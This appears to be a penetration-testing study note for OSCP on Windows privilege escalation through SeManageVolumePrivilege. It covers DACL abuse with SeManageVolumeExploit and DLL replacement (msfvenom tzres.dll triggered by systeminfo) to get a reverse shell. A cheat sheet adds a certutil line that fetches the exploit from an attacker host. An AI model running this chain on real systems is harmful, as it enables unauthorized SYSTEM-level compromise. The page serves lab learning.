SeManageVolumePrivilege — Volume DACL Abuse

Ctrl+F: SeManageVolumePrivilege · SeManageVolumeExploit · volume maintenance · System32 writable

What it is: Windows user right for volume maintenance (defrag, mount/dismount, etc.). It does not directly grant write access to C:\Windows\System32.

Abuse: Under vulnerable conditions, the privilege can alter security descriptors (DACLs) on files/directories on the volume — granting your user full control over paths that were protected. Then you write a malicious DLL or replace a system file → DLL Injection / DLL HijackingSYSTEM shell.

SeManageVolumeExploit · Windows PrivEsc


📌 When to try

whoami /priv
SignalAction
SeManageVolumePrivilege EnabledRun SeManageVolumeExploit
After exploit — icacls shows your user on System32 pathsDLL Injection (e.g. tzres.dll + systeminfo)
Backup Operators / SeBackupDifferent priv — SeBackupPrivilege

Often assigned to backup / maintenance accounts or misconfigured service accounts.


📌 What it does NOT do

MythReality
“I have SeManageVolume → I can write System32”Not automatically — need DACL abuse (exploit tool) first
Same as SeBackup/SeRestoreNo — different mechanism; see SeBackupPrivilege

📌 Exploitation chain (OSCP)

whoami /priv  →  SeManageVolumePrivilege Enabled
        ↓
[[SeManageVolumeExploit]]  (CsEnox .exe)
        ↓
DACL changed — you can write under C:\ (e.g. System32\wbem\)
        ↓
[[DLL Injection]] — msfvenom tzres.dll → replace target DLL
        ↓
Trigger (systeminfo) → reverse shell as elevated context
        ↓
Optional: [[Potato Attacks]] if you land as service account with SeImpersonate

📌 Full workflow (tzres.dll + systeminfo)

1 — Confirm privilege

whoami /priv

2 — Run exploit

SeManageVolumeExploit > 📌 Run on target

3 — DLL payload + trigger

DLL Injection > 📌 Lab chain — tzres.dll + systeminfo


📌 Alternative post-exploit paths

After DACL abuseTechnique
tzres.dll + systeminfoDLL Injection
PrintConfig.dll + PrintNotify COMSeManageVolumeExploit > 📌 PrintConfig.dll → SYSTEM
Writable service binary in PATHDLL Hijacking
Replace service .exeUnquoted path / weak DACL — Windows PrivEsc

📌 Quick cheat sheet

whoami /priv
certutil -urlcache -split -f http://KALI:8080/SeManageVolumeExploit.exe
SeManageVolumeExploit.exe
REM then → [[DLL Injection]] tzres.dll + systeminfo


📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

Linux > 📌 1) Basic Manual Enumeration